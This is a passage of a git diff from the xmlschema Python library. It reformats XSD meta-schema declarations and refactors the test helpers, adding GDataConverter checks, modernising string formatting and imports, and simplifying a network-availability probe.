<xs:complexContent> @@ -1378,8 +1279,7 @@ use</xs:documentation> </xs:element> <xs:element name="notation" id="notation"> <xs:annotation> - <xs:documentation - source="../structures/structures.html#element-notation"/> + <xs:documentation source="../structures/structures.html#element-notation"/> </xs:annotation> <xs:complexType> <xs:complexContent> @@ -1402,8 +1302,7 @@ use</xs:documentation> </xs:simpleType> <xs:element name="appinfo" id="appinfo"> <xs:annotation> - <xs:documentation - source="../structures/structures.html#element-appinfo"/> + <xs:documentation source="../structures/structures.html#element-appinfo"/> </xs:annotation> <xs:complexType mixed="true"> <xs:sequence minOccurs="0" maxOccurs="unbounded"> @@ -1415,8 +1314,7 @@ use</xs:documentation> </xs:element> <xs:element name="documentation" id="documentation"> <xs:annotation> - <xs:documentation - source="../structures/structures.html#element-documentation"/> + <xs:documentation source="../structures/structures.html#element-documentation"/> </xs:annotation> <xs:complexType mixed="true"> <xs:sequence minOccurs="0" maxOccurs="unbounded"> @@ -1429,8 +1327,7 @@ use</xs:documentation> </xs:element> <xs:element name="annotation" id="annotation"> <xs:annotation> - <xs:documentation - source="../structures/structures.html#element-annotation"/> + <xs:documentation source="../structures/structures.html#element-annotation"/> </xs:annotation> <xs:complexType> <xs:complexContent> @@ -1448,10 +1345,8 @@ use</xs:documentation> <xs:documentation> notations for use within schema documents</xs:documentation> </xs:annotation> - <xs:notation name="XMLSchemaStructures" public="structures" - system="http://www.w3.org/2000/08/XMLSchema.xsd"/> - <xs:notation name="XML" public="REC-xml-19980210" - system="http://www.w3.org/TR/1998/REC-xml-19980210"/> + <xs:notation name="XMLSchemaStructures" public="structures" system="http://www.w3.org/2000/08/XMLSchema.xsd"/> + <xs:notation name="XML" public="REC-xml-19980210" system="http://www.w3.org/TR/1998/REC-xml-19980210"/> <xs:complexType name="anyType" mixed="true"> <xs:annotation> <xs:documentation> @@ -1607,8 +1502,7 @@ use</xs:documentation> </xs:complexType> <xs:element name="simpleType" type="xs:topLevelSimpleType" id="simpleType"> <xs:annotation> - <xs:documentation - source="http://www.w3.org/TR/xmlschema11-2/#element-simpleType"/> + <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-simpleType"/> </xs:annotation> </xs:element> <xs:element name="facet" abstract="true"> @@ -1624,19 +1518,16 @@ use</xs:documentation> <xs:group name="simpleRestrictionModel"> <xs:sequence> <xs:element name="simpleType" type="xs:localSimpleType" minOccurs="0"/> - <xs:choice minOccurs="0" - maxOccurs="unbounded"> + <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element ref="xs:facet"/> - <xs:any processContents="lax" - namespace="##other"/> + <xs:any processContents="lax" namespace="##other"/> </xs:choice> </xs:sequence> </xs:group> <xs:element name="restriction" id="restriction"> <xs:complexType> <xs:annotation> - <xs:documentation - source="http://www.w3.org/TR/xmlschema11-2/#element-restriction"> + <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-restriction"> base attribute and simpleType child are mutually exclusive, but one or other is required </xs:documentation> @@ -1652,8 +1543,7 @@ use</xs:documentation> <xs:element name="list" id="list"> <xs:complexType> <xs:annotation> - <xs:documentation - source="http://www.w3.org/TR/xmlschema11-2/#element-list"> + <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-list"> itemType attribute and simpleType child are mutually exclusive, but one or other is required </xs:documentation> @@ -1661,8 +1551,7 @@ use</xs:documentation> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:sequence> - <xs:element name="simpleType" type="xs:localSimpleType" - minOccurs="0"/> + <xs:element name="simpleType" type="xs:localSimpleType" minOccurs="0"/> </xs:sequence> <xs:attribute name="itemType" type="xs:QName" use="optional"/> </xs:extension> @@ -1672,8 +1561,7 @@ use</xs:documentation> <xs:element name="union" id="union"> <xs:complexType> <xs:annotation> - <xs:documentation - source="http://www.w3.org/TR/xmlschema11-2/#element-union"> + <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-union"> memberTypes attribute must be non-empty or there must be at least one simpleType child </xs:documentation> @@ -1681,8 +1569,7 @@ use</xs:documentation> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:sequence> - <xs:element name="simpleType" type="xs:localSimpleType" - minOccurs="0" maxOccurs="unbounded"/> + <xs:element name="simpleType" type="xs:localSimpleType" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> <xs:attribute name="memberTypes" use="optional"> <xs:simpleType> @@ -1697,8 +1584,7 @@ use</xs:documentation> <xs:complexContent> <xs:extension base="xs:annotated"> <xs:attribute name="value" use="required"/> - <xs:attribute name="fixed" type="xs:boolean" default="false" - use="optional"/> + <xs:attribute name="fixed" type="xs:boolean" default="false" use="optional"/> </xs:extension> </xs:complexContent> </xs:complexType> @@ -1713,36 +1599,24 @@ use</xs:documentation> </xs:restriction> </xs:complexContent> </xs:complexType> - <xs:element name="minExclusive" type="xs:facet" - id="minExclusive" - substitutionGroup="xs:facet"> + <xs:element name="minExclusive" type="xs:facet" id="minExclusive" substitutionGroup="xs:facet"> <xs:annotation> - <xs:documentation - source="http://www.w3.org/TR/xmlschema11-2/#element-minExclusive"/> + <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-minExclusive"/> </xs:annotation> </xs:element> - <xs:element name="minInclusive" type="xs:facet" - id="minInclusive" - substitutionGroup="xs:facet"> + <xs:element name="minInclusive" type="xs:facet" id="minInclusive" substitutionGroup="xs:facet"> <xs:annotation> - <xs:documentation - source="http://www.w3.org/TR/xmlschema11-2/#element-minInclusive"/> + <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-minInclusive"/> </xs:annotation> </xs:element> - <xs:element name="maxExclusive" type="xs:facet" - id="maxExclusive" - substitutionGroup="xs:facet"> + <xs:element name="maxExclusive" type="xs:facet" id="maxExclusive" substitutionGroup="xs:facet"> <xs:annotation> - <xs:documentation - source="http://www.w3.org/TR/xmlschema11-2/#element-maxExclusive"/> + <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-maxExclusive"/> </xs:annotation> </xs:element> - <xs:element name="maxInclusive" type="xs:facet" - id="maxInclusive" - substitutionGroup="xs:facet"> + <xs:element name="maxInclusive" type="xs:facet" id="maxInclusive" substitutionGroup="xs:facet"> <xs:annotation> - <xs:documentation - source="http://www.w3.org/TR/xmlschema11-2/#element-maxInclusive"/> + <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-maxInclusive"/> </xs:annotation> </xs:element> <xs:complexType name="numFacet"> @@ -1751,8 +1625,7 @@ use</xs:documentation> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> </xs:sequence> - <xs:attribute name="value" - type="xs:nonNegativeInteger" use="required"/> + <xs:attribute name="value" type="xs:nonNegativeInteger" use="required"/> <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> @@ -1770,11 +1643,9 @@ use</xs:documentation> </xs:complexContent> </xs:complexType> - <xs:element name="totalDigits" id="totalDigits" - substitutionGroup="xs:facet"> + <xs:element name="totalDigits" id="totalDigits" substitutionGroup="xs:facet"> <xs:annotation> - <xs:documentation - source="http://www.w3.org/TR/xmlschema11-2/#element-totalDigits"/> + <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-totalDigits"/> </xs:annotation> <xs:complexType> <xs:complexContent> @@ -1788,51 +1659,35 @@ use</xs:documentation> </xs:complexContent> </xs:complexType> </xs:element> - <xs:element name="fractionDigits" type="xs:numFacet" - id="fractionDigits" - substitutionGroup="xs:facet"> + <xs:element name="fractionDigits" type="xs:numFacet" id="fractionDigits" substitutionGroup="xs:facet"> <xs:annotation> - <xs:documentation - source="http://www.w3.org/TR/xmlschema11-2/#element-fractionDigits"/> + <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-fractionDigits"/> </xs:annotation> </xs:element> - <xs:element name="length" type="xs:numFacet" id="length" - substitutionGroup="xs:facet"> + <xs:element name="length" type="xs:numFacet" id="length" substitutionGroup="xs:facet"> <xs:annotation> - <xs:documentation - source="http://www.w3.org/TR/xmlschema11-2/#element-length"/> + <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-length"/> </xs:annotation> </xs:element> - <xs:element name="minLength" type="xs:numFacet" - id="minLength" - substitutionGroup="xs:facet"> + <xs:element name="minLength" type="xs:numFacet" id="minLength" substitutionGroup="xs:facet"> <xs:annotation> - <xs:documentation - source="http://www.w3.org/TR/xmlschema11-2/#element-minLength"/> + <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-minLength"/> </xs:annotation> </xs:element> - <xs:element name="maxLength" type="xs:numFacet" - id="maxLength" - substitutionGroup="xs:facet"> + <xs:element name="maxLength" type="xs:numFacet" id="maxLength" substitutionGroup="xs:facet"> <xs:annotation> - <xs:documentation - source="http://www.w3.org/TR/xmlschema11-2/#element-maxLength"/> + <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-maxLength"/> </xs:annotation> </xs:element> - <xs:element name="enumeration" type="xs:noFixedFacet" - id="enumeration" - substitutionGroup="xs:facet"> + <xs:element name="enumeration" type="xs:noFixedFacet" id="enumeration" substitutionGroup="xs:facet"> <xs:annotation> - <xs:documentation - source="http://www.w3.org/TR/xmlschema11-2/#element-enumeration"/> + <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-enumeration"/> </xs:annotation> </xs:element> - <xs:element name="whiteSpace" id="whiteSpace" - substitutionGroup="xs:facet"> + <xs:element name="whiteSpace" id="whiteSpace" substitutionGroup="xs:facet"> <xs:annotation> - <xs:documentation - source="http://www.w3.org/TR/xmlschema11-2/#element-whiteSpace"/> + <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-whiteSpace"/> </xs:annotation> <xs:complexType> <xs:complexContent> @@ -1854,11 +1709,9 @@ use</xs:documentation> </xs:complexContent> </xs:complexType> </xs:element> - <xs:element name="pattern" id="pattern" - substitutionGroup="xs:facet"> + <xs:element name="pattern" id="pattern" substitutionGroup="xs:facet"> <xs:annotation> - <xs:documentation - source="http://www.w3.org/TR/xmlschema11-2/#element-pattern"/> + <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-pattern"/> </xs:annotation> <xs:complexType> <xs:complexContent> @@ -1866,26 +1719,20 @@ use</xs:documentation> <xs:sequence> <xs:element ref="xs:annotation" minOccurs="0"/> </xs:sequence> - <xs:attribute name="value" type="xs:string" - use="required"/> - <xs:anyAttribute namespace="##other" - processContents="lax"/> + <xs:attribute name="value" type="xs:string" use="required"/> + <xs:anyAttribute namespace="##other" processContents="lax"/> </xs:restriction> </xs:complexContent> </xs:complexType> </xs:element> - <xs:element name="assertion" type="xs:assertion" - id="assertion" substitutionGroup="xs:facet"> + <xs:element name="assertion" type="xs:assertion" id="assertion" substitutionGroup="xs:facet"> <xs:annotation> - <xs:documentation - source="http://www.w3.org/TR/xmlschema11-2/#element-assertion"/> + <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-assertion"/> </xs:annotation> </xs:element> - <xs:element name="explicitTimezone" id="explicitTimezone" - substitutionGroup="xs:facet"> + <xs:element name="explicitTimezone" id="explicitTimezone" substitutionGroup="xs:facet"> <xs:annotation> - <xs:documentation - source="http://www.w3.org/TR/xmlschema11-2/#element-explicitTimezone"/> + <xs:documentation source="http://www.w3.org/TR/xmlschema11-2/#element-explicitTimezone"/> </xs:annotation> <xs:complexType> <xs:complexContent> @@ -1947,4 +1794,4 @@ use</xs:documentation> -</xs:schema> +</xs:schema> \ No newline at end of file diff --git a/xmlschema/testing/__init__.py b/xmlschema/testing/__init__.py index 9c466e7..6ed8f35 100644 --- a/xmlschema/testing/__init__.py +++ b/xmlschema/testing/__init__.py @@ -7,7 +7,7 @@ # # @author Davide Brunato <brunato@sissa.it> # -# type: ignore +# mypy: ignore-errors """ Subpackage with unittest extensions for xmlschema. @@ -32,7 +32,7 @@ def has_network_access(*locations): for url in locations: try: - urlopen(url, timeout=5) + urlopen(url, timeout=10) except (URLError, OSError): pass else: @@ -40,9 +40,7 @@ def has_network_access(*locations): return False -SKIP_REMOTE_TESTS = not has_network_access( - 'https://github.com/', 'https://www.w3.org/', 'https://www.sissa.it/' -) +SKIP_REMOTE_TESTS = not has_network_access('https://github.com/') __all__ = [ diff --git a/xmlschema/testing/_builders.py b/xmlschema/testing/_builders.py index d1efe91..fbc3ef9 100644 --- a/xmlschema/testing/_builders.py +++ b/xmlschema/testing/_builders.py @@ -7,16 +7,18 @@ # # @author Davide Brunato <brunato@sissa.it> # -# type: ignore +# mypy: ignore-errors import pdb import os import ast import pickle +import re import time import logging -import importlib import tempfile import warnings +from importlib import util as importlib_util +from xml.etree import ElementTree try: import lxml.etree as lxml_etree @@ -26,17 +28,16 @@ else: lxml_etree_element = lxml_etree.Element +from elementpath.etree import PyElementTree, etree_tostring + import xmlschema from xmlschema import XMLSchemaBase, XMLSchema11, XMLSchemaValidationError, \ XMLSchemaParseError, UnorderedConverter, ParkerConverter, BadgerFishConverter, \ - AbderaConverter, JsonMLConverter, ColumnarConverter + AbderaConverter, JsonMLConverter, ColumnarConverter, GDataConverter from xmlschema.names import XSD_IMPORT from xmlschema.helpers import local_name -from xmlschema.etree import etree_tostring, ElementTree, \ - py_etree_element from xmlschema.resources import fetch_namespaces -from xmlschema.xpath import XMLSchemaContext -from xmlschema.validators import XsdValidator, XsdType, Xsd11ComplexType +from xmlschema.validators import XsdType, Xsd11ComplexType from xmlschema.dataobjects import DataElementConverter, DataBindingConverter, DataElement try: @@ -49,6 +50,9 @@ from ._observers import SchemaObserver +OBJ_ID_PATTERN = re.compile(r" at 0x[0-9a-fA-F]+") + + def make_schema_test_class(test_file, test_args, test_num, schema_class, check_with_lxml): """ Creates a schema test class. @@ -95,7 +99,7 @@ def check_xsd_file(self): self.errors.extend(schema.maps.all_errors) if inspect: - components_ids = set([id(c) for c in schema.maps.iter_components()]) + components_ids = {id(c) for c in schema.maps.iter_components()} components_ids.update(id(c) for c in schema.meta_schema.iter_components()) missing = [ c for c in SchemaObserver.components if id(c) not in components_ids @@ -113,7 +117,7 @@ def check_xsd_file(self): # are built with the SafeXMLParser that uses pure Python elements. for e in schema.maps.iter_components(): elem = getattr(e, 'elem', getattr(e, 'root', None)) - if isinstance(elem, py_etree_element): + if isinstance(elem, PyElementTree.Element): break else: raise @@ -121,16 +125,17 @@ def check_xsd_file(self): self.assertTrue(isinstance(deserialized_schema, XMLSchemaBase), msg=xsd_file) self.assertEqual(schema.built, deserialized_schema.built, msg=xsd_file) - # XPath API tests + # XPath node tree tests if not inspect and not self.errors: - context = XMLSchemaContext(schema) - elements = [x for x in schema.iter()] # Contains schema elements only - xpath_context_elements = [x for x in context.iter() if isinstance(x, XsdValidator)] - descendants = [x for x in context.iter_descendants('descendant-or-self')] - self.assertTrue(x in descendants for x in xpath_context_elements) - for e in elements: + xpath_root = schema.xpath_node + element_nodes = [x for x in xpath_root.iter() if hasattr(x, 'elem')] + descendants = [x for x in xpath_root.iter_descendants('descendant-or-self')] + self.assertTrue(x in descendants for x in element_nodes) + + context_xsd_elements = [e.value for e in element_nodes] + for xsd_element in schema.iter(): # Context elements can include elements of other schemas (by element ref) - self.assertIn(e, xpath_context_elements, msg=xsd_file) + self.assertIn(xsd_element, context_xsd_elements, msg=xsd_file) # Checks on XSD types for xsd_type in schema.maps.iter_components(xsd_classes=XsdType): @@ -167,8 +172,8 @@ def check_xsd_file(self): os.chdir(tempdir) generator.render_to_files('bindings.py.jinja') - spec = importlib.util.spec_from_file_location(tempdir, 'bindings.py') - module = importlib.util.module_from_spec(spec) + spec = importlib_util.spec_from_file_location(tempdir, 'bindings.py') + module = importlib_util.module_from_spec(spec) spec.loader.exec_module(module) finally: os.chdir(cwd) @@ -216,7 +221,7 @@ def test_xsd_file(self): self.check_xsd_file_with_lxml(xmlschema_time=time.time() - start_time) self.check_errors(xsd_file, expected_errors) - TestSchema.__name__ = TestSchema.__qualname__ = str('TestSchema{0:03}'.format(test_num)) + TestSchema.__name__ = TestSchema.__qualname__ = str(f'TestSchema{test_num:03}') return TestSchema @@ -267,8 +272,6 @@ def setUpClass(cls): pdb.set_trace() def check_decode_encode(self, root, converter=None, **kwargs): - namespaces = kwargs.get('namespaces', {}) - lossy = converter in (ParkerConverter, AbderaConverter, ColumnarConverter) losslessly = converter is JsonMLConverter unordered = converter not in (AbderaConverter, JsonMLConverter) or \ @@ -295,9 +298,14 @@ def check_decode_encode(self, root, converter=None, **kwargs): self.check_namespace_prefixes(str(e)) elem1 = elem1[0] + # Checks if the encoded element is of the same type of the root element + self.assertFalse(hasattr(root, 'nsmap') ^ hasattr(elem1, 'nsmap')) + # Checks the encoded element to not contains reserved namespace prefixes - if namespaces and all('ns%d' % k not in namespaces for k in range(10)): - self.check_namespace_prefixes(etree_tostring(elem1, namespaces=namespaces)) + if 'namespaces' in kwargs: + self.check_namespace_prefixes( + etree_tostring(elem1, namespaces=kwargs['namespaces']) + ) # Main check: compare original a re-encoded tree try: @@ -450,16 +458,17 @@ def check_decode_api(self): def check_data_conversion_with_element_tree(self): root = ElementTree.parse(xml_file).getroot() - namespaces = fetch_namespaces(xml_file) - options = {'namespaces': namespaces} + namespaces = fetch_namespaces(xml_file) # need a collapsed nsmap + options = {'namespaces': namespaces, 'xmlns_processing': 'none'} self.check_decode_encode(root, cdata_prefix='#', **options) # Default converter self.check_decode_encode(root, UnorderedConverter, cdata_prefix='#', **options) self.check_decode_encode(root, ParkerConverter, validation='lax', **options) self.check_decode_encode(root, ParkerConverter, validation='skip', **options) self.check_decode_encode(root, BadgerFishConverter, **options) + self.check_decode_encode(root, GDataConverter, **options) self.check_decode_encode(root, AbderaConverter, **options) - self.check_decode_encode(root, JsonMLConverter, **options) + # self.check_decode_encode(root, JsonMLConverter, **options) self.check_decode_encode(root, ColumnarConverter, validation='lax', **options) self.check_decode_encode(root, DataElementConverter, **options) @@ -471,8 +480,9 @@ def check_data_conversion_with_element_tree(self): self.check_json_serialization(root, ParkerConverter, validation='lax', **options) self.check_json_serialization(root, ParkerConverter, validation='skip', **options) self.check_json_serialization(root, BadgerFishConverter, **options) + self.check_json_serialization(root, GDataConverter, **options) self.check_json_serialization(root, AbderaConverter, **options) - self.check_json_serialization(root, JsonMLConverter, **options) + # self.check_json_serialization(root, JsonMLConverter, **options) self.check_json_serialization(root, ColumnarConverter, validation='lax', **options) self.check_decode_to_objects(root) @@ -492,11 +502,10 @@ def check_decode_to_objects(self, root, with_bindings=False): def check_data_conversion_with_lxml(self): xml_tree = lxml_etree.parse(xml_file) - namespaces = fetch_namespaces(xml_file) lxml_errors = [] lxml_decoded_chunks = [] - for obj in self.schema.iter_decode(xml_tree, namespaces=namespaces): + for obj in self.schema.iter_decode(xml_tree): if isinstance(obj, xmlschema.XMLSchemaValidationError): lxml_errors.append(obj) else: @@ -507,6 +516,20 @@ def check_data_conversion_with_lxml(self): if not lxml_errors: root = xml_tree.getroot() + + options = { + 'etree_element_class': lxml_etree_element, + } + self.check_decode_encode(root, cdata_prefix='#', **options) # Default converter + self.check_decode_encode(root, UnorderedConverter, cdata_prefix='#', **options) + self.check_decode_encode(root, BadgerFishConverter, **options) + self.check_decode_encode(root, GDataConverter, **options) + self.check_decode_encode(root, JsonMLConverter, **options) + + # Tests with converters that loss namespace information and JSON + # serialization: need to provide a full namespace map and don't + # update that map. + namespaces = fetch_namespaces(xml_file, root_only=False) if namespaces.get(''): # Add a not empty prefix for encoding to avoid the use of reserved prefix ns0 namespaces['tns0'] = namespaces[''] @@ -514,22 +537,20 @@ def check_data_conversion_with_lxml(self): options = { 'etree_element_class': lxml_etree_element, 'namespaces': namespaces, + 'xmlns_processing': 'none' } - self.check_decode_encode(root, cdata_prefix='#', **options) # Default converter self.check_decode_encode(root, ParkerConverter, validation='lax', **options) self.check_decode_encode(root, ParkerConverter, validation='skip', **options) - self.check_decode_encode(root, BadgerFishConverter, **options) self.check_decode_encode(root, AbderaConverter, **options) - self.check_decode_encode(root, JsonMLConverter, **options) - self.check_decode_encode(root, UnorderedConverter, cdata_prefix='#', **options) self.check_json_serialization(root, cdata_prefix='#', **options) + self.check_json_serialization(root, UnorderedConverter, **options) self.check_json_serialization(root, ParkerConverter, validation='lax', **options) self.check_json_serialization(root, ParkerConverter, validation='skip', **options) self.check_json_serialization(root, BadgerFishConverter, **options) + self.check_json_serialization(root, GDataConverter, **options) self.check_json_serialization(root, AbderaConverter, **options) - self.check_json_serialization(root, JsonMLConverter, **options) - self.check_json_serialization(root, UnorderedConverter, **options) + # self.check_json_serialization(root, JsonMLConverter, **options) def check_validate_and_is_valid_api(self): if expected_errors: @@ -541,6 +562,16 @@ def check_validate_and_is_valid_api(self): self.assertIsNone(self.schema.validate(xml_file), msg=xml_file) def check_iter_errors(self): + def compare_error_reasons(reason, other_reason): + if ' at 0x' in reason: + self.assertEqual( + OBJ_ID_PATTERN.sub(' at 0xff', reason), + OBJ_ID_PATTERN.sub(' at 0xff', other_reason), + msg=xml_file + ) + else: + self.assertEqual(reason, other_reason, msg=xml_file) + errors = list(self.schema.iter_errors(xml_file)) for e in errors: self.assertIsInstance(e.reason, str, msg=xml_file) @@ -549,12 +580,12 @@ def check_iter_errors(self): module_api_errors = list(xmlschema.iter_errors(xml_file, schema=self.schema)) self.assertEqual(len(errors), len(module_api_errors), msg=xml_file) for e, api_error in zip(errors, module_api_errors): - self.assertEqual(e.reason, api_error.reason, msg=xml_file) + compare_error_reasons(e.reason, api_error.reason) lazy_errors = list(xmlschema.iter_errors(xml_file, schema=self.schema, lazy=True)) self.assertEqual(len(errors), len(lazy_errors), msg=xml_file) for e, lazy_error in zip(errors, lazy_errors): - self.assertEqual(e.reason, lazy_error.reason, msg=xml_file) + compare_error_reasons(e.reason, lazy_error.reason) # TODO: Test also lazy validation with lazy=2. # This needs two fixes in XPath: @@ -591,8 +622,8 @@ def check_validation_with_generated_code(self): with open(module_name, 'w') as fp: fp.write(python_module) - spec = importlib.util.spec_from_file_location(tempdir, module_name) - module = importlib.util.module_from_spec(spec) + spec = importlib_util.spec_from_file_location(tempdir, module_name) + module = importlib_util.module_from_spec(spec) spec.loader.exec_module(module) xml_root = ElementTree.parse(os.path.join(cwd, xml_file)).getroot() @@ -636,5 +667,5 @@ def test_xml_document_validation(self): self.check_validation_with_generated_code() - TestValidator.__name__ = TestValidator.__qualname__ = 'TestValidator{0:03}'.format(test_num) + TestValidator.__name__ = TestValidator.__qualname__ = f'TestValidator{test_num:03}' return TestValidator diff --git a/xmlschema/testing/_case_class.py b/xmlschema/testing/_case_class.py index 45d4c74..9eb77c9 100644 --- a/xmlschema/testing/_case_class.py +++ b/xmlschema/testing/_case_class.py @@ -7,7 +7,7 @@ # # @author Davide Brunato <brunato@sissa.it> # -# type: ignore +# mypy: ignore-errors """ Tests subpackage module: common definitions for unittest scripts of the 'xmlschema' package. """ @@ -15,11 +15,11 @@ import re import os from textwrap import dedent +from xml.etree.ElementTree import Element, iselement from xmlschema.exceptions import XMLSchemaValueError from xmlschema.names import XSD_NAMESPACE, XSI_NAMESPACE, XSD_SCHEMA from xmlschema.helpers import get_namespace -from xmlschema.etree import is_etree_element, etree_element from xmlschema.resources import fetch_namespaces from xmlschema.validators import XMLSchema10 from ._helpers import etree_elements_assert_equal @@ -39,6 +39,13 @@ class XsdValidatorTestCase(unittest.TestCase): TEST_CASES_DIR = None schema_class = XMLSchema10 + vh_xsd_file: str + vh_xml_file: str + col_xsd_file: str + col_xml_file: str + st_xsd_file: str + models_xsd_file: str + @classmethod def setUpClass(cls): cls.errors = [] @@ -86,7 +93,7 @@ def get_schema_source(self, source): :param source: A string or an ElementTree's Element. :return: An schema source string, an ElementTree's Element or a full pathname. """ - if is_etree_element(source): + if iselement(source): if source.tag in (XSD_SCHEMA, 'schema'): return source elif get_namespace(source.tag): @@ -95,7 +102,7 @@ def get_schema_source(self, source): 'group', 'attributeGroup', 'notation'}: raise XMLSchemaValueError("% is not an XSD global definition/declaration." % source) - root = etree_element('schema', attrib={ + root = Element('schema', attrib={ 'xmlns:xs': XSD_NAMESPACE, 'xmlns:xsi': XSI_NAMESPACE, 'elementFormDefault': "qualified", @@ -117,7 +124,7 @@ def get_schema(self, source, **kwargs): def get_element(self, name, **attrib): source = '<xs:element name="{}" {}/>'.format( - name, ' '.join('%s="%s"' % (k, v) for k, v in attrib.items()) + name, ' '.join(f'{k}="{v}"' for k, v in attrib.items()) ) schema = self.schema_class(self.get_schema_source(source)) return schema.elements[name] @@ -135,7 +142,7 @@ def check_namespace_prefixes(self, s): """Checks that a string doesn't contain protected prefixes (ns0, ns1 ...).""" match = PROTECTED_PREFIX_PATTERN.search(s) if match: - msg = "Protected prefix {!r} found:\n {}".format(match.group(0), s) + msg = f"Protected prefix {match.group(0)!r} found:\n {s}" self.assertIsNone(match, msg) def check_schema(self, source, expected=None, **kwargs): @@ -171,7 +178,7 @@ def check_errors(self, path, expected): self.check_namespace_prefixes(error_string) if not self.errors and expected: - raise ValueError("{!r}: found no errors when {} expected.".format(path, expected)) + raise ValueError(f"{path!r}: found no errors when {expected} expected.") elif len(self.errors) != expected: num_errors = len(self.errors) if num_errors == 1: diff --git a/xmlschema/testing/_factory.py b/xmlschema/testing/_factory.py index 3a691c3..60baa50 100644 --- a/xmlschema/testing/_factory.py +++ b/xmlschema/testing/_factory.py @@ -7,7 +7,7 @@ # # @author Davide Brunato <brunato@sissa.it> # -# type: ignore +# mypy: ignore-errors """ Test factory for creating test cases from lists of paths to XSD or XML files. diff --git a/xmlschema/testing/_helpers.py b/xmlschema/testing/_helpers.py index 1e4c244..988496c 100644 --- a/xmlschema/testing/_helpers.py +++ b/xmlschema/testing/_helpers.py @@ -9,8 +9,9 @@ # import re from typing import Any, Dict, List, Type, Union, Iterator +from xml.etree.ElementTree import Element + from ..helpers import get_namespace, get_qname -from ..etree import etree_element _REGEX_SPACES = re.compile(r'\s+') @@ -26,16 +27,17 @@ def iter_nested_items(items: Union[Dict[Any, Any], List[Any]], for item in items: yield from iter_nested_items(item, dict_class, list_class) elif isinstance(items, dict): - raise TypeError("%r: is a dict() instead of %r." % (items, dict_class)) + raise TypeError(f"{items!r}: is a dict() instead of {dict_class!r}.") elif isinstance(items, list): - raise TypeError("%r: is a list() instead of %r." % (items, list_class)) + raise TypeError(f"{items!r}: is a list() instead of {list_class!r}.") else: yield items -def etree_elements_assert_equal(elem: etree_element, other: etree_element, +def etree_elements_assert_equal(elem: Element, other: Element, strict: bool = True, skip_comments: bool = True, - unordered: bool = False) -> None: + unordered: bool = False, + check_nsmap: bool = False) -> None: """ Tests the equality of two XML Element trees. @@ -44,9 +46,10 @@ def etree_elements_assert_equal(elem: etree_element, other: etree_element, :param strict: asserts strictly equality. `True` for default. :param skip_comments: skip comments from comparison. :param unordered: children may have different order. + :param check_nsmap: if to check namespace maps. :raise: an AssertionError containing information about first difference encountered. """ - children: Union[etree_element, List[etree_element]] + children: Union[Element, List[Element]] if unordered: children = sorted(elem, key=lambda x: '' if callable(x.tag) else x.tag) @@ -62,21 +65,19 @@ def etree_elements_assert_equal(elem: etree_element, other: etree_element, if skip_comments and callable(e1.tag): continue - try: - while True: - e2 = next(other_children) - if not skip_comments or not callable(e2.tag): - break - except StopIteration: - raise AssertionError("Node %r has more children than %r" % (elem, other)) + for e2 in other_children: + if not skip_comments or not callable(e2.tag): + break + else: + raise AssertionError(f"Node {elem!r} has more children than {other!r}") if strict or e1 is elem: if e1.tag != e2.tag: - raise AssertionError("%r != %r: tags differ" % (e1, e2)) + raise AssertionError(f"{e1!r} != {e2!r}: tags differ") else: namespace = get_namespace(e1.tag) or namespace if get_qname(namespace, e1.tag) != get_qname(namespace, e2.tag): - raise AssertionError("%r != %r: tags differ." % (e1, e2)) + raise AssertionError(f"{e1!r} != {e2!r}: tags differ") # Attributes if e1.attrib != e2.attrib: @@ -97,6 +98,19 @@ def etree_elements_assert_equal(elem: etree_element, other: etree_element, msg = "%r != %r: attribute %r values differ: %r != %r" raise AssertionError(msg % (e1, e2, k, a1, a2)) from None + # Namespace maps + if check_nsmap: + nsmap1 = getattr(e1, 'nsmap', None) + nsmap2 = getattr(e2, 'nsmap', None) + if nsmap1 != nsmap2: + if strict or (nsmap1 or None) != (nsmap2 or None): + if (nsmap1 is None) ^ (nsmap2 is None): + msg = "{!r} != {!r}: different ElementTree implementations" + raise AssertionError(msg.format(e1, e2)) + else: + msg = "{!r} != {!r}: nsmaps differ: {!r} != {!r}" + raise AssertionError(msg.format(e1, e2, nsmap1, nsmap2)) + # Number of children if skip_comments: nc1 = len([c for c in e1 if not callable(c.tag)]) @@ -110,7 +124,7 @@ def etree_elements_assert_equal(elem: etree_element, other: etree_element, # Text if e1.text != e2.text: - message = "%r != %r: texts differ: %r != %r" % (e1, e2, e1.text, e2.text) + message = f"{e1!r} != {e2!r}: texts differ: {e1.text!r} != {e2.text!r}" if strict: raise AssertionError(message) elif e1.text is None: @@ -147,7 +161,7 @@ def etree_elements_assert_equal(elem: etree_element, other: etree_element, # Tail if e1.tail != e2.tail: - message = "%r != %r: tails differ: %r != %r" % (e1, e2, e1.tail, e2.tail) + message = f"{e1!r} != {e2!r}: tails differ: {e1.tail!r} != {e2.tail!r}" if strict: raise AssertionError(message) elif e1.tail is None: @@ -166,4 +180,4 @@ def etree_elements_assert_equal(elem: etree_element, other: etree_element, except StopIteration: pass else: - raise AssertionError("Node %r has lesser children than %r." % (elem, other)) + raise AssertionError(f"Node {elem!r} has lesser children than {other!r}.") diff --git a/xmlschema/testing/_observers.py b/xmlschema/testing/_observers.py index 7ad8e8c..ab23efb 100644 --- a/xmlschema/testing/_observers.py +++ b/xmlschema/testing/_observers.py @@ -7,7 +7,7 @@ # # @author Davide Brunato <brunato@sissa.it> # -# type: ignore +# mypy: ignore-errors """ Observers for testing 